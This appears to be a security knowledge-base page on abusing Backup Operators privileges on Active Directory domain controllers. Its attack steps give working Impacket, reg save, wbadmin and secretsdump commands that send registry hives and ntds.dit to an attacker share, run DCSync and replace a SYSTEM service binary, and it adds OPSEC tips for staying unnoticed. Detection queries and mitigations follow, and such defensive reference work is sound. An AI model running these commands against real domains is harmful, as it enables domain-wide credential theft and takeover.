How it works
Backup Operators is a built-in group in every domain (SID S-1-5-32-551). It exists so that an operator or a backup service account can back up and restore a domain controller without being an administrator. To make that possible, the default domain controller policy gives the group five user rights: allow log on locally, log on as a batch job, shut down the system, back up files and directories (SeBackupPrivilege) and restore files and directories (SeRestorePrivilege).
The two privileges are the whole attack:
SeBackupPrivilegemakes the system grant read access to any file, whatever its ACL says. The registry function that saves a hive to a file (RegSaveKey) requires the same privilege, so the holder can also save any registry hive.SeRestorePrivilegemakes the system grant write access to any file, whatever its ACL says, and lets the holder set any owner on a file.
On a member server those rights reach the local SAM. On a domain controller they reach the secrets of the whole domain:
- The
SECURITYhive holds the LSA secrets, including the password of the domain controller's own machine account. A domain controller's machine account may replicate directory data, so its secret is enough for DCSync. ntds.ditholds every account's password hashes, and theSYSTEMhive holds the boot key that decrypts them. See NTDS.dit extraction.- The
SAMhive of a domain controller holds the Directory Services Restore Mode administrator.
Microsoft's own description of the group says its members can replace files, including operating system files, on domain controllers and are therefore service administrators. The group is a shadow admin path: it sits outside Domain Admins, is often forgotten in reviews, and gives the same result.
Variants: the hives can be saved remotely over the Remote Registry protocol without ever logging on to the domain controller, saved locally with reg save, or taken together with ntds.dit through a Windows Server Backup job. The write side (SeRestorePrivilege) gives code execution instead of credentials, by replacing a binary that a service runs as SYSTEM.
Prerequisites
- An account that is a member of Backup Operators, directly or through nested groups, or an account that a GPO has given
SeBackupPrivilegeon a domain controller. Server Operators holds the same two privileges on domain controllers. - For the remote variant: SMB access to the domain controller (TCP 445), the Remote Registry service reachable through the
winregnamed pipe, and permissions onHKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winregthat let the account connect to the registry remotely. The domain controller must also be able to reach an SMB share the attacker controls, because the domain controller writes the hive files itself. - For the local variant: an interactive or batch logon on the domain controller (the group has both rights by default) and an elevated command prompt, because User Account Control removes the two privileges from the standard token.
- For the backup job variant: the Windows Server Backup command-line tool on the domain controller.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Confirm the membership and the privileges
# Who is in the group, including nested members
Get-ADGroupMember -Identity 'Backup Operators' -Recursive | Select-Object SamAccountName, objectClass
# On the domain controller, in an elevated prompt: both privileges should be listed
whoami /priv
2. Remote variant: save the hives over Remote Registry
Impacket reg.py opens the keys with the backup option, so the ACLs on SAM and SECURITY do not matter. The target writes the files to the UNC path given with -o.
# On the attacker host: a share for the domain controller to write to
smbserver.py -smb2support share /tmp/share
# Save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY from DC01 to that share
reg.py corp.example.com/alice@DC01.corp.example.com backup -o '\\192.0.2.50\share'
# Or one hive at a time
reg.py corp.example.com/alice@DC01.corp.example.com save -keyName 'HKLM\SECURITY' -o '\\192.0.2.50\share'
3. Local variant: save the hives on the domain controller
reg save HKLM\SYSTEM C:\Temp\SYSTEM.save
reg save HKLM\SAM C:\Temp\SAM.save
reg save HKLM\SECURITY C:\Temp\SECURITY.save
4. Read the secrets offline
secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
The output lists the local SAM accounts and the LSA secrets. The entry $MACHINE.ACC is the machine account of the domain controller, with its NT hash and Kerberos keys.
5. Replicate the domain with the machine account
# DCSync as DC01$, using the NT hash from step 4
secretsdump.py -just-dc -hashes :<NT hash of DC01$> 'corp.example.com/DC01$@DC01.corp.example.com'
# Only the krbtgt account
secretsdump.py -just-dc-user krbtgt -hashes :<NT hash of DC01$> 'corp.example.com/DC01$@DC01.corp.example.com'
6. Alternative: back up ntds.dit
Windows Server Backup accepts a one-time backup from a member of Backup Operators at an elevated prompt. The job takes a volume shadow copy, so the locked database can be read.
:: Back up the NTDS folder to a share the attacker controls
wbadmin start backup -backupTarget:\\192.0.2.50\share -include:C:\Windows\NTDS -quiet
:: Find the version identifier, then recover the database to a folder without its ACL
wbadmin get versions -backupTarget:\\192.0.2.50\share -machine:DC01
wbadmin start recovery -version:11/29/2026-09:00 -itemType:File -items:C:\Windows\NTDS\ntds.dit -backupTarget:\\192.0.2.50\share -machine:DC01 -recoveryTarget:C:\Temp -notRestoreAcl -quiet
secretsdump.py -ntds ntds.dit -system SYSTEM.save LOCAL
7. Write variant: replace a file with restore semantics
Robocopy's backup mode uses both privileges and overrides the ACLs that would block the copy. Overwriting a binary that a service runs as SYSTEM gives code execution at the next service start.
robocopy C:\Temp\payload "C:\Program Files\Vendor\Agent" agent.exe /b
Impact
With the machine account secret or a copy of ntds.dit, the attacker has the password hash of every user, computer and service account, including krbtgt. That is full control of the domain: credential theft at the scale of the whole directory, Golden Tickets, and sign-in as any account with pass the hash. The local hives add the DSRM administrator of the domain controller and any other LSA secret stored there, which the SAM and LSA secrets page covers. The write variant gives SYSTEM on the domain controller directly.
Because the group has no default members, every member is a deliberate addition. An attacker who gains one of them, often a backup product's service account with an old password, makes a privilege escalation to domain level in a few commands.
OPSEC and artifacts
- Staying remote. The Remote Registry variant never creates an interactive session on the domain controller. It still writes a network logon (event 4624, logon type 3) and, because the logon carries
SeBackupPrivilege, a special logon (event 4672) that lists the privilege for an account that is not an administrator. - Using a quiet share. The domain controller connects out over SMB to the attacker's share to write the hive files. A domain controller opening an SMB session to a workstation address is unusual and visible in network telemetry.
- Avoiding files on the target. The remote variant leaves no hive files on the domain controller. The local variant leaves
*.savefiles in the chosen folder until they are deleted, and process creation events forreg.exe saveorwbadmin.exe. - Blending the replication. DCSync with the domain controller's own machine account looks like normal replication by account name, but it comes from an address that is not a domain controller. Event 4662 on the target records the replication rights, and the network logon shows the source address.
- Named pipe access. With Audit Detailed File Share enabled, event 5145 records access to the
winregpipe onIPC$. - Backup job traces. A Windows Server Backup job creates a volume shadow copy and a backup catalog entry on the domain controller, and a
WindowsImageBackupfolder on the target share. - No privilege use event by default. The use of the backup and restore privileges generates events 4673 and 4674 only when the security option "Audit: Audit the use of Backup and Restore privilege" is enabled.
Detection
- Membership. Alert on every addition to Backup Operators. On a domain controller the change is event 4732 with the group SID
S-1-5-32-551; the privileged group membership change rules match on the SID. Track event 4704 for the backup or restore right being assigned to another account, which the sensitive user right rules cover. - Special logon by a non-administrator. Event 4672 on a domain controller where the privilege list contains
SeBackupPrivilegeand the account is not an administrator, not SYSTEM and not the known backup service account. - Remote registry from an unexpected host. Event 5145 for
winregon a domain controller from an address that is not a management server, followed by an outbound SMB connection from the domain controller. - What follows. Replication requests from an address that is not a domain controller (the DCSync rules) and shadow copy or backup activity touching
ntds.dit(the NTDS.dit extraction rules).
// Special logons on domain controllers that carry the backup privilege without being an administrator logon
SecurityEvent
| where EventID == 4672
| where PrivilegeList has "SeBackupPrivilege" and PrivilegeList !has "SeDebugPrivilege"
| where SubjectUserSid !in ("S-1-5-18", "S-1-5-19", "S-1-5-20")
| summarize Logons = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by Computer, SubjectUserName, SubjectUserSid
| order by LastSeen desc
Scope the query to domain controllers and remove the backup service account you expect. Event 4672 is written for every logon that carries a sensitive privilege, so it is a statement about what the session could do, not proof that a hive was read.
Mitigation
- Keep Backup Operators empty. Run domain controller backups under an identity that is managed as Tier 0, and treat every member of the group as a domain administrator in reviews, tiering and monitoring. The Active Directory hardening guide covers the tier model.
- Review the user rights, not only the group. Read the effective "Back up files and directories" and "Restore files and directories" assignments on domain controllers and remove every principal that is not required.
- Restrict where the accounts can sign in. Deny network and interactive logon to the backup identity everywhere except the systems it must back up, and deny lower-tier accounts on domain controllers.
- Separate backup custody. The backup server, the repository and the operator are separate boundaries. A copy of a domain controller backup is a copy of the domain's credentials, so protect the repository as Tier 0.
- Limit remote registry access on domain controllers to the management hosts that need it, and block outbound SMB from domain controllers to workstation networks.
- Audit. Enable Security Group Management, Special Logon, Detailed File Share and Directory Service Access auditing on domain controllers. The audit policy guide lists the settings.
Detection rules for this attack
Log events to collect
FAQ
Is Backup Operators equivalent to Domain Admins?
In practice, yes. Members can read every file and registry hive on a domain controller and can replace files there, and Microsoft classes the group as service administrators for that reason. The hives hold the domain controller's own machine account secret, which is enough to replicate every password hash, and the group can also back up ntds.dit directly.
Does Backup Operators have any default members?
No. The group is empty by default. Members are usually added for a backup product's service account or for an operations team, and they tend to stay long after the product has been replaced.
Why does the attack not appear in privilege use auditing?
Windows does not record the use of the backup and restore privileges unless the security option 'Audit: Audit the use of Backup and Restore privilege' is turned on, and Microsoft advises against it because of the event volume. Detection has to rest on the group membership, the logon, the share and registry access, and what the attacker does with the secrets.
How do you find who holds backup rights on domain controllers?
Resolve the members of Backup Operators and Server Operators recursively, then read the effective 'Back up files and directories' and 'Restore files and directories' user rights on the domain controllers, because a GPO can assign the privileges to accounts that are in neither group.
References
- Active Directory security groups: Backup Operators (Microsoft Learn)
- Privilege constants: SeBackupPrivilege and SeRestorePrivilege (Microsoft Learn)
- OS Credential Dumping: Security Account Manager, T1003.002 (MITRE ATT&CK)
- OS Credential Dumping: NTDS, T1003.003 (MITRE ATT&CK)
- Impacket examples: reg.py and secretsdump.py (Fortra)
- Audit Sensitive Privilege Use (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.